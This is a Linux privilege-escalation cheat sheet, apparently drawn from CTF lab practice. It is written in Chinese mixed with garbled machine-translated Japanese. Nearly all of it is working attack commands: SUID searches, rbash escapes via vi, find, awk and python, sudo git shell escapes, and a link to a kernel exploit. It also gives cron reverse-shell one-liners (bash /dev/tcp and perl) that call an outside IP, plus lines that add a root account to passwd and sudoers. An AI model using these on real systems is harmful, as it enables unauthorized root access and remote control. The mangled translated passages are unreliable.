ディレクトリ
1.suid提权
运行某些程序时暂时获得root的权限，例如ping(socket需要root才能运行)右を提供するために使用することができる資格の検索：
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
三种都可以一般的に以下のものを持って、右のプログラムを提供することができます検索：
nmap vim find Bash More Less Nano cpたとえば、次のように言及する権利を見つけます
find / -perm -u=s -type f 2>/dev/null
使用することができ探します
普通のユーザーは、新しいファイルを作成し、/ tmpのディレクトリに移動します。
touch abcd
find abcd -exec whoami \;
あなたは、root権限を有することが見出されます
2.rbashバイパス
rbash就是受限制的bash，一般管理员会限制很多命令，例如whoami cd cat等很多常用的命令，不过肯定会有命令可以使用，我们可以查看$PATH有哪些，或者自己挨个试 echo $PATH #查看自己可以使用的命令
less，ls，scp，vi 是我们可以用的ダウン回避しよう
#干就完事了
1.
vi test
:!/bin/sh
2.ed
3.ne
4. more less
more test
!'sh'
5.
man ls
操作同more less
6.find
/usr/bin/find /etc/passwd -exec whoami \;
/usr/bin/find /etc/passwd -exec /bin/sh \;
7.nmap
低版本
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.ruby
11.perl
12.php
13.
BASH_CMDS[a]=/bin/sh;a最後に、SHに入った13首尾よくバイパスrbash、と
赶紧试试用/bin/bash进入bash，没有权限的提升，我就觉得这个好用，能用tab补全执行： export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin 或者：PATH=$PATH:/bin PATH=$PATH:/usr/bin就可以正常使用了
右に言及3.git
sudo git help config
!/bin/bash或者！'sh'完成提权
sudo git -p help
!/bin/bash4.Linuxカーネル4.4.xから（Ubuntuの16.04） - 'ダブルfdput（）' BPF（BPF_PROG_LOAD）権限昇格
ダウンロードします。https：//github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
5.sudoer右のコンフィギュレーション・ファイルのエラーを言及
5.1基本
有的时候，普通用户经常要执行某个命令，但是经常需要sudo输入密码，我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升，但是如果一旦是给了用户写入的root权限，比如vi，那么这个普通用户一旦被入侵，就可以通过vi来提权首先来看/etc/sudoers
chmod u+w /etc/shudoers
vi /etc/sudoers看到这里
# User privilege specification
root ALL=(ALL:ALL) ALL
root：代表用户
第一个ALL：之网络中的主机，我也不知道什么意思，但是这个all还是不动好了
第二个(ALL:ALL)：指以谁的身份去执行，root就行了
第三个ALL：指所有的命令，可以自己制定，比如/bin/ls,/bin/nc看下面的图：
代表了用户zaq可以以root的权限运行ls指令
前边要加sudo，可以看到zaq用户成功查看了/root目录的结构
sudo -l 显示出自己（执行 sudo 的使用者）的权限
5.2リフティングの重み
如果这个/bin/ls变成了可以写入文件的命令会怎么办呢？比如：
/usr/bin/tee这是在DC-4靶机上遇到的
#####################################################################
先看以下tee的用法
zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help
Usage: /usr/bin/tee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit
####################################################################
把输入写入文件，如果是-a的话就会在最后新起一行追加内容1.corntabリバウンドシェル
当 /bin/sh指向/bin/dash的时候(ubuntu默认这样，当前的靶机也是这样)，反弹shell用bash的话得这样弹：
* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
这样弹shell的时候不知道为什么很慢，耐心等等
或者：
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.suid
值得注意的是：chmod 4777 /bin/bash不会有这种效果(曾经看到这个解答，我给忘了，你不用管为什么了，自己试试就好了)ユーザーを追加3.passwd
test:x:0:0::/home/admin:/bin/bash
4.sudoersファイル
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers